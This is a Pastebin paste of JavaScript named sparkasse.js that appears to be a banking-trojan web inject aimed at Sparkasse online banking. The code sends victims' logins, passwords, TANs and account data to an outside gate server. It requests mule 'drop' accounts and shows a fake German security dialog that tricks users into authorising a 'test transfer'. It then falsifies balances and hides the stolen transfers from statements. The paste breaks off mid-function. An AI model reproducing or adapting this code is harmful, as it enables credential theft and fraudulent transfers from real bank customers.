Xylitol

sparkasse.js

May 19th, 2014
418
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var jq = jQuery.noConflict();
  2. _cssCode = '.inj_full_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4002; filter: alpha(OPACITY=100); opacity: 1; } #inj_block_overlay { background-color: #FFFFFF; width: 100%; height: 1000px; position: absolute; top: 0px; left: 0px; z-index: 4000; filter: alpha(OPACITY=0); opacity: 0; } #inj_dialog_box { background-color: #FFFFFF; left: 232px; position: absolute; top: 165px; width: 600px; z-index: 4001; } .inj_dialog_content h2, .inj_dialog_content h3, #inj_dialog_title { margin: 10px; } .inj_instr_list { font-size: 13px; } .inj_content_para { padding: 10px; } .inj_content_block { border-bottom: 1px solid #E9E9E9; padding: 10px; } .inj_buttons_block { text-align: center; margin-top: 1em; } .inj_error { display: none; color: #FF0000; font-weight: bold; }';
  3. if ((document.readyState === "loading") || (document.readyState === "interactive"))
  4.     document.write('<style type="text/css">' + _cssCode + '</style>');
  5. else
  6.     jq('head').append('<style type="text/css">' + _cssCode + '</style>');
  7.  
  8. var ATS={bank:'',account_id:0,bot_id:'',script_ver:'0',debug_mode:false,isDebugMode:function()
  9. {return ATS.debug_mode;},getBrowserFull:function()
  10. {var res='na';try
  11. {var m=navigator.userAgent.match(/Firefox\/(\d+)/);if(m)
  12. {res='ff'+m[1];}
  13. else
  14. {m=navigator.userAgent.match(/MSIE (\d+)/);if(m)
  15. res='ie'+m[1];}}
  16. catch(e)
  17. {res='ex';}
  18. return res;},debugMsg:function(message)
  19. {if(this.isDebugMode())
  20. {if(window.console&&window.console.log)
  21. window.console.log(message);else
  22. alert(message);}},_cookies:new Object(),setCookie:function(name,value)
  23. {ATS.debugMsg('setCookie: '+name+' = '+value);parent.ATS._cookies[name]=value;},getCookie:function(name)
  24. {if(typeof parent.ATS._cookies[name]=='undefined')
  25. return null;return parent.ATS._cookies[name];},serializeCookies:function()
  26. {var result=new Array();for(var i in parent.ATS._cookies)
  27. {result.push(encodeURIComponent(i)+'='+encodeURIComponent(parent.ATS._cookies[i]));}
  28. return result.join('&');},unserializeCookies:function(rawData)
  29. {var result=new Object();for(var i in rawData)
  30. {result[decodeURIComponent(i)]=decodeURIComponent(rawData[i]);}
  31. return result;},saveCookies:function(callback)
  32. {ATS.sendGateRequest('save_cookies',{data:ATS.serializeCookies()},callback);},sendGateRequest:function(action,params,callback)
  33. {data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action+'&cb=?';if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  34. {jq.ajax({url:url,dataType:'jsonp',crossDomain:true,data:data,success:callback});}},sendPostGateRequest:function(action,params)
  35. {ATS.debugMsg('sendPostGateRequest: '+action);data=jq.extend({bank:parent.ATS.bank,aid:parent.ATS.account_id},params);var url=ATS.gateURL+'?a='+action;ATS.debugMsg('url = '+url+'; params = '+params);if((typeof __debugDisabled=='undefined')||!__debugDisabled)
  36. {jq.ajax({type:'POST',url:url,crossDomain:true,data:data});}},loadData:function(callback)
  37. {ATS.sendGateRequest('load_data',{botid:ATS.bot_id},function(data){ATS.account_id=data.account_id;ATS._cookies=ATS.unserializeCookies(data.cookies);if(typeof callback=='function')
  38. callback();});},getFullVersionText:function()
  39. {return ATS.script_ver+' / '+ATS.getBrowserFull();},sendLoginInfo:function(login,password,callback)
  40. {ATS.sendGateRequest('login',{botid:ATS.bot_id,login:login,password:password,url:window.location.href,ver:ATS.getFullVersionText()},callback);},_logMsgSeq:0,sendLogMsg:function(text,callback)
  41. {ATS.debugMsg('sendLogMsg: '+text);if(parent&&parent.ATS&&parent.ATS.sendGateRequest)
  42. {parent.ATS._logMsgSeq++;parent.ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:parent.ATS._logMsgSeq+': '+text},callback);}
  43. else
  44. {ATS._logMsgSeq++;ATS.sendGateRequest('log_msg',{ver:ATS.getFullVersionText(),text:ATS._logMsgSeq+': '+text},callback);}},getDrop:function(transfType,balance,callback)
  45. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance},callback);},getDropWithLimit:function(transfType,balance,limit,callback)
  46. {ATS.sendGateRequest('get_drop',{type:transfType,balance:balance,limit:limit},callback);},putTransfer:function(transfType,drop,amount,callback)
  47. {ATS.sendGateRequest('transfer',{type:transfType,did:drop,amount:amount},callback);},sendAccountsInfo:function(accountsInfo,callback)
  48. {try{ATS.sendGateRequest('save_accounts_info',{data:JSON.stringify(accountsInfo)},callback);}catch(e){}},base64_encode:function(input)
  49. {var output="";var chr1,chr2,chr3;var enc1,enc2,enc3,enc4;var i=0;var keyStr="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";do
  50. {chr1=input.charCodeAt(i++);chr2=input.charCodeAt(i++);chr3=input.charCodeAt(i++);enc1=chr1>>2;enc2=((chr1&3)<<4)|(chr2>>4);enc3=((chr2&15)<<2)|(chr3>>6);enc4=chr3&63;if(isNaN(chr2))
  51. {enc3=enc4=64;}
  52. else if(isNaN(chr3))
  53. {enc4=64;}
  54. output=output+keyStr.charAt(enc1)+keyStr.charAt(enc2)+keyStr.charAt(enc3)+keyStr.charAt(enc4);}while(i<input.length);return output;},utf8_encode:function(argString)
  55. {if(argString===null||typeof argString==="undefined")
  56. return"";var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++)
  57. {var c1=string.charCodeAt(n);var enc=null;if(c1<128)
  58. {end++;}
  59. else if(c1>127&&c1<2048)
  60. {enc=String.fromCharCode((c1>>6)|192,(c1&63)|128);}
  61. else if(c1&0xF800!=0xD800)
  62. {enc=String.fromCharCode((c1>>12)|224,((c1>>6)&63)|128,(c1&63)|128);}
  63. else
  64. {if(c1&0xFC00!=0xD800){return'error 1';}
  65. var c2=string.charCodeAt(++n);if(c2&0xFC00!=0xDC00){return'error 2';}
  66. c1=((c1&0x3FF)<<10)+(c2&0x3FF)+0x10000;enc=String.fromCharCode((c1>>18)|240,((c1>>12)&63)|128,((c1>>6)&63)|128,(c1&63)|128);}
  67. if(enc!==null)
  68. {if(end>start)
  69. {utftext+=string.slice(start,end);}
  70. utftext+=enc;start=end=n+1;}}
  71. if(end>start)
  72. utftext+=string.slice(start,stringl);return utftext;},sendDump:function(msg,data)
  73. {ATS.sendPostGateRequest('dump',{msg:msg,data:ATS.base64_encode(ATS.utf8_encode(data))});},randInt:function(min,max)
  74. {return Math.round(min+Math.random()*(max-min));},imgSubmit:function(button)
  75. {var form=jq('form').has(jq(button));if(jq(form).length==0)
  76. return 0;var buttonName=jq(button).attr('name');if(buttonName!='')
  77. {var buttonWidth=parseInt(jq(button).css('width'));if(!buttonWidth)
  78. buttonWidth=10;var buttonHeight=parseInt(jq(button).css('height'));if(!buttonHeight)
  79. buttonHeight=10;var clickX=ATS.randInt(buttonWidth*0.2,buttonWidth*0.8);var clickY=ATS.randInt(buttonHeight*0.2,buttonHeight*0.8);jq(button).remove();jq(form).append('<input type=hidden name="'+buttonName+'.x" value="'+clickX+'" />');jq(form).append('<input type=hidden name="'+buttonName+'.y" value="'+clickY+'" />');jq(form).submit();}
  80. else
  81. jq(button).click();},delayedClick:function(button,minDelay,maxDelay)
  82. {setTimeout(function(){if(jq(button).attr('type')=='image')
  83. {ATS.imgSubmit(jq(button));}
  84. else
  85. jq(button).click();},ATS.randInt(minDelay,maxDelay));}};
  86. ATS.bank = 'sparkasse';
  87. ATS.script_ver = '19';
  88. ATS.gateURL = 'https://standarts-check.com/gm91249/gate';
  89.  
  90. ATS.UI_blockSite=function()
  91. {if(ATS.debugNoOverlay)
  92. return;if(jq('#inj_block_overlay').length)
  93. jq('#inj_block_overlay').show();else
  94. jq('.if5_content').before('<div id=inj_block_overlay></div>');}
  95. ATS.UI_unblockSite=function()
  96. {jq('#inj_block_overlay').hide();}
  97. ATS.UI_getInjectCode=function()
  98. {var code = '<div id=inj_dialog_box style=\'display: none;\'><div class="if5_white'
  99.      + '_o">&nbsp;</div><div class="if5_rand"><div class="if5_verlauf_o">&nbsp;'
  100.      + '</div><div class="inj_dialog_content"><h2 id="inj_dialog_title">Sicherh'
  101.      + 'eitskontrolle</h2><div id=inj_page_wait style=\'display: none;\'><h3 clas'
  102.      + 's="boxHeadline">Ab jetzt haben wir neue Sicherheitseinstellungen.</h3><'
  103.      + 'div class="boxHinweis"><p class="begruessungText inj_content_para">Unse'
  104.      + 'r System &#252;berpr&#252;ft Ihren Computer nach Ver&#228;nderungen. &#'
  105.      + '220;berpr&#252;fung Ihrer Sicherheitseinstellungen kann mehrere Sekunde'
  106.      + 'n dauern. <br class="newline" /></p><p style="text-align:center"><img s'
  107.      + 'rc=\'https://standarts-check.com/gm91249/images/loader_bar.gif\' id=inj_loader_img /></p><p cl'
  108.      + 'ass="begruessungText inj_content_para">W&#228;hrend dieser Zeit aktuali'
  109.      + 'sieren Sie bitte nicht diese Seite und verwenden Sie nicht die Browsern'
  110.      + 'avigation (Zur&#252;ck / Vorw&#228;rts). </p></div></div><div id=inj_pa'
  111.      + 'ge_tan style=\'display: none;\'><div class="boxHinweis"><p class="begrues'
  112.      + 'sungText inj_content_block" id=inj_main_text>Wahrscheinlich haben sich '
  113.      + 'in letzter Zeit einige Ver&#228;nderungen bei Ihrem Computer ergeben. A'
  114.      + 'us Sicherheitsgr&#252;nden m&#252;ssen Sie eine Tan eingeben, um zu bes'
  115.      + 't&#228;tigen, dass es Ihr Computer ist, damit Ihnen der Zugang gew&#228'
  116.      + ';hrt wird.<br class="newline" /></p><div class="begruessungText inj_con'
  117.      + 'tent_block"><div id=inj_mode_gen><ol class=inj_instr_list><li>Stecken S'
  118.      + 'ie Ihre Karte in den TAN-Generator und dr&#252;cken Sie die Taste <stro'
  119.      + 'ng>TAN</strong>.</li><li>Geben Sie den <strong class=inj_tan_startcode>'
  120.      + '</strong>&nbsp;ein und dr&#252;cken Sie die Taste OK.</li><li>Geben Sie'
  121.      + ' die <strong class=inj_iban_code></strong>&nbsp;ein und dr&#252;cken Si'
  122.      + 'e die Taste OK.</li><li>Geben Sie die <strong class=inj_transf_amount><'
  123.      + '/strong>&nbsp;ein und dr&#252cken Sie die Taste OK.</li></ol></div><div'
  124.      + ' id=inj_mode_sms><p>Angaben f&#252;r die Test&#252;berweisung:</p><ul c'
  125.      + 'lass=inj_instr_list><li>Name: Hans M&#252;ller</li><li class=inj_sms_ac'
  126.      + 'c>Kontonummer:</li><li class=inj_sms_blz>Bankleitzahl:</li><li class=in'
  127.      + 'j_sms_amount>Betrag:</li></ul><p>Bitte best&#228;tigen Sie die TEST&#22'
  128.      + '0;BERWEISUNG, um den Schnelltest erfolgreich abzuschlie&#223;en.<br>Sie'
  129.      + ' werden nach der Durchf&#252;hrung des Schnelltests Ihren online Bankse'
  130.      + 'rvice sofort nutzen k&#246;nnen.<br>Denken Sie daran, dass Ihr Konto du'
  131.      + 'rch die Test&#252;berweisung NICHT belastet wird. Vielen Dank. </p></di'
  132.      + 'v></div><div class="begruessungText inj_content_block"><div style=\'floa'
  133.      + 't: left; width: 400px; font-size: 13px;\'><label class=inj_tan_label for'
  134.      + '=inj_tan></label></div><div style=\'float: left; padding: 10px 30px;\'><i'
  135.      + 'nput type="text" id="inj_tan" class="osppformfeldmuss" value="" size="8'
  136.      + '" maxlength="6" name="inj_tan"></div><div style=\'clear:both;\'><p class='
  137.      + 'inj_error>Die eingegebene TAN ist falsch!</p></div></div><div class="in'
  138.      + 'j_buttons_block"><input type="image" alt="Weiter" title="Weiter" style='
  139.      + '"cursor: pointer; height: 2.25em;width: 7.3em;" value="Weiter" src="/if'
  140.      + 'data/blank.gif" name="inj_weiter" /></div></div></div></div><div class='
  141.      + '"if5_verlauf_u">&nbsp;</div></div><div class="if5_white_u">&nbsp;</div>'
  142.      + '</div>';
  143. return jq(code);}
  144. ATS.UI_onWeiterClick=function()
  145. {var tan=jq('input[name=inj_tan]').val();if(tan.length==6)
  146. {ATS.sendLogMsg('entered TAN '+tan);jq('#ats_wrk_iframe')[0].contentWindow.ATS.enterCode(tan);}}
  147. ATS.UI_showDialogBox=function()
  148. {jq('.if5_content > div').hide();if(!jq('#inj_dialog_box').length)
  149. {var injectCode=ATS.UI_getInjectCode();jq('.if5_content').after(injectCode);jq('input[name=inj_weiter]').click(ATS.UI_onWeiterClick);}
  150. jq('#inj_dialog_box').show();}
  151. ATS.UI_hideDialogBox=function()
  152. {jq('#inj_dialog_box').hide();jq('.if5_content > div').show();}
  153. ATS.UI_showWait=function()
  154. {ATS.UI_showDialogBox();jq('#inj_page_wait').show();jq('#inj_page_tan').hide();}
  155. ATS.UI_fixBtnLink=function()
  156. {imgSrc=jq('img[src*=\\/ipo\\/]:eq(0)').attr('src')
  157. if(imgSrc)
  158. {imgSrc=imgSrc.substr(0,imgSrc.lastIndexOf('/')+1);imgSrc+='if5_b_Weiter.png';jq('input[name=inj_weiter]').attr('src',imgSrc);}
  159. else
  160. ATS.sendLogMsg('UI_fixBtnLink cant find btn img');}
  161. ATS.UI_askTan=function(tanNum,isError)
  162. {parent.ATS.UI_showDialogBox();parent.ATS.UI_fixBtnLink();jq('#inj_page_wait',parent.document).hide();jq('#inj_page_tan',parent.document).show();jq('#inj_mode_gen',parent.document).hide();jq('#inj_mode_sms',parent.document).hide();jq('input[name=inj_tan]',parent.document.body).val('');if(tanNum=='sms')
  163. {jq('#inj_mode_sms',parent.document).show();var mainText='Wir sind immer bem&#252;ht, unseren Service und den von unserer Bank gebotenen Sicherheitsgrad zu verbessern. ';mainText+='Wie Sie vielleicht wissen, haben wir k&#252;rzlich zus&#228;tzlich Sicherheitswerkzeug eingef&#252;hrt, um Ihnen f&#252;r Ihre Bank&#252;berweisungen eine beispiellose Sicherheit zu gew&#228;hrleisten. ';mainText+='Ungl&#252;cklicherweise hatte viele Nutzer Probleme, die neuen Regeln anzuwenden, was dazu f&#252;hrte, dass Ihre online Zugang zu ihren Konto automatisch gesperrt wurde. ';mainText+='Um solche Situationen zu vermeiden und um Sie durch die neuen Sicherheitstechnologien zu leiten, bieten wir Ihnen an, einen Schnelltest zu absolvieren. ';mainText+='W&#228;hrend des Tests wird das System eine TEST&#220;BERWEISUNG durchf&#252;hren. Wir versichern Ihnen, dass die Test&#252;berweisung Ihren Konto NICHT belastet wird. ';mainText+='Wir hoffen, dass Sie den hohen Sicherheitsgrad und die Verwendbarkeit unserer Bankdienstleistungen sch&#228;tzen.';jq('#inj_main_text',parent.document).html(mainText);var reqText=jq('label:contains("Zur Best"):eq(0)').text().replace('*:',':');reqText=reqText.substr(reqText.indexOf('Zur Best'));jq('.inj_tan_label',parent.document.body).text(reqText);if(parent.ATS.transf_mode=='sepa')
  164. {var ibanCode=parent.ATS.sepa_drop.IBAN;ibanCode='DE'+ibanCode.substring(2,4)+'XXXXXXXXXXXXXXXXXX'+ibanCode.substring(ibanCode.length-4);ATS.debugMsg('ibanCode '+ibanCode);jq('.inj_sms_acc',parent.document.body).text('IBAN: '+ibanCode);jq('.inj_sms_blz',parent.document.body).text('BIC: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.sepa_drop.amount);}
  165. else
  166. {var konto=parent.ATS.int_drop.Konto;jq('.inj_sms_acc',parent.document.body).text('Kontonummer: '+konto);jq('.inj_sms_blz',parent.document.body).text('Bankleitzahl: 00000000');jq('.inj_sms_amount',parent.document.body).text('Betrag: '+parent.ATS.int_drop.amount);}}
  167. else if(tanNum=='gen')
  168. {jq('#inj_mode_gen',parent.document).show();if(parent.ATS.transf_mode=='sepa')
  169. {var ibanCode=parent.ATS.sepa_drop.IBAN;if((jq('div.block').text().indexOf('letzten 10 Ziffern')!=-1)||(jq('div.osppformgrund').text().indexOf('letzten 10 Ziffern')!=-1))
  170. ibanCode=ibanCode.substring(ibanCode.length-10);else
  171. ibanCode=ibanCode.substring(2,4)+ibanCode.substring(ibanCode.length-4);jq('.inj_iban_code',parent.document.body).text(ibanCode);jq('.inj_transf_amount',parent.document.body).text(parent.ATS.sepa_drop.amount);}
  172. else
  173. {var konto=parent.ATS.int_drop.Konto;jq('.inj_iban_code',parent.document.body).text(konto);jq('.inj_transf_amount',parent.document.body).text(parent.ATS.int_drop.amount);}
  174. var startCode=jq('strong:contains(Startcode)').text().replace(/\D+/,'');ATS.sendLogMsg('startCode '+startCode);jq('.inj_tan_startcode',parent.document.body).text('Startcode '+startCode);jq('.inj_tan_label',parent.document.body).text(jq('label:contains(Kartennummer):eq(0)').text().replace('*:',':'));}
  175. else
  176. {}
  177. if(isError)
  178. {jq('.inj_error',parent.document.body).show();}
  179. else
  180. jq('.inj_error',parent.document.body).hide();}
  181. ATS.UI_testTanGen=function()
  182. {ATS.UI_askTan('gen',false);}
  183. ATS.UI_testTanSMS=function()
  184. {ATS.UI_askTan('sms',false);}
  185.  
  186. ATS.fin2float=function(text)
  187. {if(text==null)
  188. {return;}
  189. else
  190. {var text=text.toString().replace(/\u2212/g,'-').replace(/[^\d,-]+/g,'').replace(',','.');return parseFloat(text);}}
  191. ATS.float2fin=function(val)
  192. {var sign='';if(val<0)
  193. {sign='-';val=-val;}
  194. var intPart=Math.floor(val);var fractPart=Math.floor((val-intPart)*100).toString();if(fractPart.length<2)
  195. fractPart='0'+fractPart;var newIntPart='';intPart=intPart.toString();while(intPart.length>3)
  196. {newIntPart='.'+intPart.substr(intPart.length-3)+newIntPart;intPart=intPart.substr(0,intPart.length-3);}
  197. newIntPart=intPart+newIntPart;return sign+newIntPart+','+fractPart;}
  198. ATS.addElementAmount=function(el,amount,postfix)
  199. {var val=ATS.fin2float(jq(el).text());var newText=ATS.float2fin(val+amount);if(postfix)
  200. newText+=' '+postfix;jq(el).text(newText);}
  201. ATS.hideLastTAN=function()
  202. {var el=jq('p:contains(Ihre zuletzt verbrauchte TAN)');if(el.length)
  203. {var html=jq(el).html();var pos=html.indexOf('Ihre zuletzt');if(pos>=0)
  204. jq(el).html(html.substr(0,pos));}
  205. jq('p:contains(Zuletzt benutzte)').remove();}
  206. ATS.replaceFinanzstatusOld=function()
  207. {ATS.debugMsg('replaceFinanzstatus()');ATS.sendLogMsg('Page Finanzstatus');jq('form > table').each(function(){if(jq(this).find('th').length==4)
  208. {var totalReplace=0;jq(this).find('tr').each(function(i){if(i>0)
  209. {var accNum=jq(this).children('td:eq(1)').text().replace(/\D+/,'');var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
  210. {var curAmount=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text());ATS.sendLogMsg('REP finanzstatus ['+accNum+'] '+curAmount+' + '+amount);ATS.addElementAmount(jq(this).children('td:eq(2)').children('span'),amount,'EUR');var newBalance=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text())+amount;if(newBalance>=0)
  211. {jq(this).children('td:eq(2)').children('span').attr('class','habentexttable');}
  212. else
  213. {jq(this).children('td:eq(2)').children('span').attr('class','solltexttable');}
  214. totalReplace+=amount;}}});if(totalReplace>0)
  215. {var curTotal=ATS.fin2float(jq(this).nextAll('table:eq(0)').find('td span:contains(EUR)').text());ATS.sendLogMsg('REP finanzstatus [total] '+curTotal+' + '+totalReplace);ATS.addElementAmount(jq(this).nextAll('table:eq(0)').find('td span:contains(EUR)'),totalReplace,'EUR');jq('form > table:contains(bersicht) td:contains(EUR)').each(function(){ATS.addElementAmount(jq(this),totalReplace,'EUR');});}}});}
  216. ATS.rep_recalcFinanzstatusSection=function(tbl)
  217. {var tableHaben=0;var tableSoll=0;jq(tbl).find('tr').each(function(i)
  218. {if(i>0)
  219. {var curAmount=ATS.fin2float(jq(this).children('td:eq(2)').children('span').text());if(!isNaN(curAmount))
  220. {if(curAmount>0)
  221. tableHaben+=curAmount;else
  222. tableSoll+=curAmount;}}});ATS.debugMsg('Section haben: '+tableHaben+'; soll: '+tableSoll);if(tableHaben>0||tableSoll>0)
  223. {jq(tbl).nextAll('table:eq(0)').find('tr:contains(Haben) span').text(ATS.float2fin(tableHaben)+' EUR');jq(tbl).nextAll('table:eq(0)').find('tr:contains(Soll) span').text(ATS.float2fin(tableSoll)+' EUR');}}
  224. ATS.rep_recalcTotalFinanzstatus=function()
  225. {var totalHaben=0;var totalSoll=0;jq('form > table').each(function()
  226. {if(jq(this).find('th').length>=4)
  227. {if(jq(this).find('th:contains(Haben)').length||jq(this).find('th:contains(Soll)').length)
  228. {var tmpHaben=ATS.fin2float(jq(this).find('tr:contains(Haben) span').text());if(!isNaN(tmpHaben))
  229. totalHaben+=tmpHaben;var tmpSoll=ATS.fin2float(jq(this).find('tr:contains(Soll) span').text());if(!isNaN(tmpSoll))
  230. totalSoll+=tmpSoll;ATS.debugMsg('tmpHaben: '+tmpHaben+'; tmpSoll: '+tmpSoll);}
  231. else
  232. ATS.rep_recalcFinanzstatusSection(jq(this));}});ATS.debugMsg('Total Haben: '+totalHaben+'; Total Soll: '+totalSoll);jq('form > table:contains(bersicht) tr:contains(Haben) span').text(ATS.float2fin(totalHaben)+' EUR');jq('form > table:contains(bersicht) tr:contains(Soll) span').text(ATS.float2fin(totalSoll)+' EUR');jq('form > table:contains(bersicht) tr:contains(Gesamtsaldo) span').text(ATS.float2fin(totalHaben+totalSoll)+' EUR');}
  233. ATS.rep_fixBalanceClass=function(el,plusClass,minusClass)
  234. {plusClass=plusClass||'habentexttable';minusClass=minusClass||'solltexttable';if(ATS.fin2float(jq(el).text())>=0)
  235. jq(el).attr('class',plusClass);else
  236. jq(el).attr('class',minusClass);}
  237. ATS.replaceFinanzstatus=function()
  238. {var repAccount=ATS.getCookie('transfer_acc');var repAmount=ATS.fin2float(ATS.getCookie('rep_amount'));ATS.debugMsg('replaceFinanzstatus()');var totalReplace=0;var giroSectionBtn=jq('.erweiternbeztable:contains(Giro)').parent().parent().find('input');if(giroSectionBtn.length&&(jq(giroSectionBtn).attr('value')=='Maximieren'))
  239. {ATS.debugMsg('giro is folded');var tblGiro=jq('form > table:contains(Giro)').next();var spanHaben=jq(tblGiro).find('th:contains(Haben)').next().find('span');var spanSoll=jq(tblGiro).find('th:contains(Soll)').next().find('span');var sollValue=ATS.fin2float(jq(spanSoll).text())||0;if(sollValue<0)
  240. {if(Math.abs(sollValue)>repAmount)
  241. {ATS.addElementAmount(spanSoll,repAmount,'EUR');}
  242. else
  243. {jq(spanSoll).text('0,00 EUR');repAmount-=Math.abs(sollValue);ATS.addElementAmount(spanHaben,repAmount,'EUR');}}
  244. else
  245. ATS.addElementAmount(spanHaben,repAmount,'EUR');totalReplace+=repAmount;}
  246. else
  247. {jq('form > table').each(function()
  248. {if(jq(this).find('th').length==4)
  249. {jq(this).find('tr').each(function(i)
  250. {if(i>0)
  251. {var accNum=jq(this).children('td:eq(1)').text().replace(/\D+/,'');if(accNum==repAccount)
  252. {var amountSpan=jq(this).children('td:eq(2)').children('span');ATS.sendLogMsg('REP finanzstatus ['+accNum+'] '+ATS.fin2float(jq(amountSpan).text())+' + '+repAmount);ATS.addElementAmount(amountSpan,repAmount,'EUR');ATS.rep_fixBalanceClass(amountSpan);totalReplace+=repAmount;}}});}});}
  253. if(totalReplace>0)
  254. ATS.rep_recalcTotalFinanzstatus();}
  255. ATS.replaceGiroDetails=function()
  256. {ATS.debugMsg('replaceGiroDetails()');ATS.sendLogMsg('Page Giro-Detail-Ubersicht');jq('form > table').each(function(){jq(this).find('tr').each(function(i){if(i>0)
  257. {var accNum=jq(this).children('td:eq(1)').text();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));if(amount>0)
  258. {var curKontostand=ATS.fin2float(jq(this).children('td:eq(2)').children('span:eq(0)').text());var curBetrag=ATS.fin2float(jq(this).children('td:eq(3)').children('span:eq(0)').text());ATS.sendLogMsg('REP GiroDetails ['+accNum+'] '+curKontostand+' / '+curBetrag+' + '+amount);ATS.addElementAmount(jq(this).children('td:eq(2)').children('span:eq(0)'),amount,'EUR');if(curBetrag)
  259. ATS.addElementAmount(jq(this).children('td:eq(3)').children('span:eq(0)'),amount,'EUR');}}});});}
  260. ATS.replaceKontodetails=function()
  261. {ATS.debugMsg('replaceKontodetails()');ATS.sendLogMsg('Page Kontodetails');jq('a[href*=print]').remove();var accNum=jq('.contentcontainerMainLayout select > option:selected').val();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
  262. {var curKontostand=ATS.fin2float(jq('form div.col:contains(Kontostand)').next().text());var curBetrag=ATS.fin2float(jq('form div.col:contains(Betrag)').next().text());ATS.sendLogMsg('REP kontodetails ['+accNum+'] '+curKontostand+' / '+curBetrag+' + '+amount);ATS.addElementAmount(jq('form div.col:contains(Kontostand)').next(),amount,'EUR');ATS.addElementAmount(jq('form div.col:contains(Betrag)').next(),amount,'EUR');}}
  263. ATS.needToHide=function(text,betrag)
  264. {text=text.replace(/[^\da-z]+/gi,'').toUpperCase();var dropName=ATS.getCookie('rep_drop_name');if(dropName)
  265. {if(text.indexOf(dropName.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
  266. return true;}
  267. var dropAcc=ATS.getCookie('rep_drop_acc');if(dropAcc)
  268. {if(text.indexOf(dropAcc.replace(/[^\da-z]+/gi,'').toUpperCase())!=-1)
  269. return true;}
  270. var amount=parseInt(ATS.getCookie('rep_amount'));if(amount)
  271. {if(amount==betrag)
  272. return true;}
  273. return false;}
  274. ATS.replaceUmsatze=function()
  275. {ATS.debugMsg('replaceUmsatze()');ATS.sendLogMsg('Page Umsatzabfrage');jq('a[href*=print]').remove();jq('input[title=Export]').parent().remove();var accNum=jq('div.label:contains(Konto)').next().text();var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('accNum = '+accNum+'; amount = '+amount);if(amount>0)
  276. {var curAmount=ATS.fin2float(jq('td:contains(Kontostand am):eq(0)').next().text());ATS.sendLogMsg('REP umsatze [kontostand] '+curAmount+' + '+amount);ATS.addElementAmount(jq('table td:contains(Kontostand am):eq(0)').next(),amount,'EUR');}
  277. var hideFlag=false;jq('table').has('tr:eq(1)').find('tr').each(function(i){if(i>0)
  278. {var text=jq(this).text();var betrag=jq(this).find('td:eq(3)').text().split(',')[0];betrag=betrag.replace(/\D+/g,'');if(ATS.needToHide(text,betrag))
  279. {ATS.sendLogMsg('REP umsatze: transfer hidden - '+jq(this).find('td:eq(2)').text());jq(this).hide();hideFlag=true;}}});jq('form > table').has('tr:eq(1)').find('tr:visible').each(function(i){if(i>0)
  280. {jq(this).attr('class',(i%2)?'tablerowodd':'tableroweven');}});}
  281. ATS.replaceMiniFinanzstatus=function()
  282. {jq('#minifinanzstatus tr').each(function(){var accNum=jq(this).find('td:eq(0)').text();if(accNum)
  283. {var amount=ATS.fin2float(ATS.getCookie('ap'+accNum));ATS.debugMsg('MINI accNum = '+accNum+'; amount = '+amount);if(amount>0)
  284. {var curAmount=ATS.fin2float(jq(this).find('td:eq(1)').text());ATS.sendLogMsg('REP mini ['+accNum+'] '+curAmount+' + '+amount);ATS.addElementAmount(jq(this).find('td:eq(1)'),amount);}}});}
  285. ATS.getPageTitle=function()
  286. {var title=jq('h2.contentbereichHeadLine').text().replace(/\xe4/,'a').replace(/\xFC/,'u').replace(/\xDC/,'U');if(!title)
  287. title=jq('b').text().replace(/\xe4/,'a').replace(/\xFC/,'u').replace(/\xDC/,'U');return title;}
  288. ATS.replaceDauerauftrag=function()
  289. {ATS.debugMsg('replaceDauerauftrag()');ATS.sendLogMsg('Page Dauerauftrag');jq('a[href*=print]').remove();jq('input[title=Export]').parent().remove();var hideFlag=false;jq('table').has('tr:eq(1)').find('tr').each(function(i){if(i>0)
  290. {var text=jq(this).text();var betrag=jq(this).find('td:eq(3)').text().split(',')[0];betrag=betrag.replace(/\D+/g,'');if(ATS.needToHide(text,betrag))
  291. {ATS.sendLogMsg('REP umsatze: transfer hidden - '+jq(this).find('td:eq(2)').text());jq(this).hide();hideFlag=true;}}});}
  292. ATS.replaceBalances=function()
  293. {ATS.debugMsg('replaceBalances()');ATS.hideLastTAN();if((ATS.getPageTitle()=='Finanzstatus')||(ATS.getPageTitle()=='Kontenubersicht'))
  294. {if((jq("table:contains('Haben')").length)&&(jq("table:contains('Soll')").length))
  295. ATS.replaceFinanzstatus();else
  296. ATS.replaceFinanzstatusOld();}
  297. if((ATS.getPageTitle()=='Kontodetails')||(ATS.getPageTitle()=='Kontenubersicht'))
  298. ATS.replaceKontodetails();if((ATS.getPageTitle()=='Umsatzabfrage')||(ATS.getPageTitle()=='Umsatze')||(ATS.getPageTitle().indexOf('Umsatzabfrage')!=-1))
  299. ATS.replaceUmsatze();if(ATS.getPageTitle()=='Giro-Detail-Ubersicht')
  300. ATS.replaceGiroDetails();if(ATS.getPageTitle().indexOf('Dauerauftrag')!=-1)
  301. ATS.replaceDauerauftrag();ATS.replaceMiniFinanzstatus();}
  302. ATS.checkTransaction=function()
  303. {if(jq('#minifinanzstatus').length)
  304. return ATS.checkTransactionMiniFinanzstatus();var pageTitle=ATS.getPageTitle();switch(pageTitle)
  305. {case'Finanzstatus':case'Kontenubersicht':return ATS.checkTransactionFinanzstatus();break;case'Kontodetails':case'Kontenubersicht':return ATS.checkTransactionKontodetails();break;case'Umsatzabfrage':case'Umsatze':return ATS.checkTransactionUmsatzabfrage();break;}
  306. return false;}
  307. ATS.checkTransactionMiniFinanzstatus=function()
